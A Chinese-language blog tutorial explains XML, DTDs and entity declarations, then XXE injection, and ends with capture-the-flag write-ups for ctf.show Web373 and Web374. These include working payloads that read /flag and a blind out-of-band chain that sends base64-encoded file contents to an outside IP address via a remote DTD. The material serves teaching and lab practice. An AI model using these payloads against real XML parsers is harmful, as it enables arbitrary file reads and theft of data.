XXE原理

目录

XML

定义

基础语法

DTD

文档声明

内部文档声明

外部文档声明

实体声明

引用实体

内部声明

外部声明

参数实体

内部实体

字符实体

XXE

xml支持的协议

例题

Web373

Web374


XML

定义

可扩展标记语言,主要用来传输信息的,而超文本标记语言(html)是用来展示的

基础语法

  1. 文件后缀为xml

  2. 文件头部声明

<?xml version-"1.0" encoding="UTF-8"?>
  1. 唯一根元素

<?xml version="1.0" encoding="utf-8" ?>
<student>
    <name>
        <EN>makka_pakka</EN>
        <CN language="中文">hello,world</CN>
    </name>
    <age>18</age>
    <sex>man</sex>
</student>

student就是根元素

注意:元素属性必须要用引号括住,就如CN元素的属性language

  1. 大小写敏感,且标签必须闭合

  2. PHP读取xml文档

<?php
    # 在PHP中,DOM是一种解析XML和HTML文档的方式
    $dom = new DOMDocument(); // 实例化 DOMDocument ,创建DOM文档对象
    $dom -> load('xml.xml'); // 加载 xml 文件
    $name = $dom -> getElementsByTagName('name'); // 标签名获取 name 节点
    echo $name -> item(0) -> nodeValue; // nodeValue 获取文本内容
    $CN = $dom -> getElementsByTagName('CN');
    echo $CN -> item(0) -> getAttribute('language'); // 获取属性值
?>

DTD

DTD的全称为Document Type Definition,是一种文件定义格式。 DTD规定了XML文件结构为XML文件提供了语法与规则。 在DTD中定义XML文件的结构,然后按照DTD的声明来编写XML文件。就好像编程语言中的函数定义,在使用函数时要根据函数声明的格式进行来引用。 PS:简而言之,DTD就是用来约束XML文档的

文档声明

声明放在<?DOCTYPE 根元素[] ?>中

eg.

<?xml version="1.0" encoding="utf-8" ?>
        <!DOCTYPE student[   <!--声明根元素为student -->
                <!ELEMENT student (name,age,sex)> <!--定义 student 元素有三个元        
                      素:"name,age,sex"-->
                <!ELEMENT age    (#PCDATA)> <!--定义 age 元素为 "#PCDATA" 类型-->
                ]>
<student>
    <name>
        <EN>makka_pakka</EN>
        <CN language="中文">hello,world</CN>
    </name>
    <age>18</age>
    <sex>man</sex>
</student>

内部文档声明

就是将DOCTYPE声明直接放在xml文件中,如上面那个

外部文档声明

就是将文档声明放在xml文件之外

文档声明文件后缀为 dta, eg. test.dtd, 如果要使用就在xml文件中导入dtd文件

<!DOCTYPE root-element SYSTEM "filename">

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE student SYSTEM "student.dtd"> <!--将student.dtd导入-->
<student>
    <name>
        <EN>makka_pakka</EN>
        <CN language="中文">hello,world</CN>
    </name>
    <age>18</age>
    <sex>man</sex>
</student>

实体声明

在xml中,实体就相当于变量,分为引用实体和参数实体

引用实体,必须在内部DTD文档中定义,不仅仅可以在xml内部使用,而且可以在DTD部分使用,就像全局变量

参数实体 ,只可以在DTD部分进行使用,就像局部变量

引用实体

语法:<!ENTITY 实体名称 "实体的值">

xml中引用:&实体名称;

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE student[
        <!ELEMENT student (name)>
        <!ELEMENT name  (#PCDATA)   >
        <!ENTITY name "hello,world">
        ]>
<student>
    <name>&name;</name>
</student>
<!--输出-->
<student>
<name>hello,world</name>
</student>
内部声明

就是直接在xml文档中声明,如上

外部声明

在xml源文件外的dtd文档中声明的

语法:<!ENTITY 实体名称 SYSTEM "file">

参数实体

语法:<!ENTITY % name1 "<!ENTITY name 'hello,world'>"> (%和实体名之间的空格不能少)(参数实体的值是字符串,所以某些字符要用字符实体替换)

引用: %实体名;

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE student[
        <!ELEMENT student (name)>
        <!ELEMENT name  (#PCDATA)   >
        <!ENTITY % name1  "<!ENTITY name 'hello,world'>">
        %name1;  
        ]>
<student>
    <name>&name;</name>
</student>
 %name1; ->  <!ENTITY name 'hello,world'>

内部实体

就是系统预留的实体

&lt(后面都有个分号)<less than
&gt>greater than
&amp&ampersand
&apos'apostrophe
&quot"quotation mark
字符实体

xml规定字符串中某些字符要用字符实体替换

指用十进制格式(&#aaa;)或十六进制格式(&#xaaa;)来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同。

eg.(到bp用html编码加密)

% -> $#x25

XXE

XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

xml支持的协议

Libxml2PHPJava.NET
filefilehttpfile
httphttphttpshttp
ftpftpftphttps
phpfileftp
compress.zlibjar
compress.bzip2netdoc
datamailto
glob

例题

Web373

题目:ctf.show

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

libxml_disable_entity_loader

由于这里是false,所以就可以加载外部实体——>xxe

构造payload:(用post传参)

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///flag">]>
<b>
  <ctfshow>&b;</ctfshow>
</b>

Web374

题目:ctf.show

与373相比没有了回显,无回显可以用参数实体外带数据()

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
} 

思路:

  • file->用PHP伪协议读文件

  • 访问vps的dtd文件

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://127.0.0.1:8081/xxe.dtd">
%remote;%dtd;%send;
]>

xxe.dtd

<!ENTITY % dtd "<!ENTITY &#37; send SYSTEM 'http://47.113.146.206:9000?pass=%file;'>">

% 用 &#37 因为 xml 规定 字符串里面某些符号要用字符实体替换。

为什么这里我们要导入外部实体,为什么不直接内部来读呢

<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://127.0.0.1:8081?pass=%file;">
%remote
]>

因为XML文档中规定,在DTD内部子集中的参数实体调用 不能够混杂到标记语言中。但是XML规范还声明了一点:外部实体不受此限制。

如有错误,敬请指出

  • 5
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值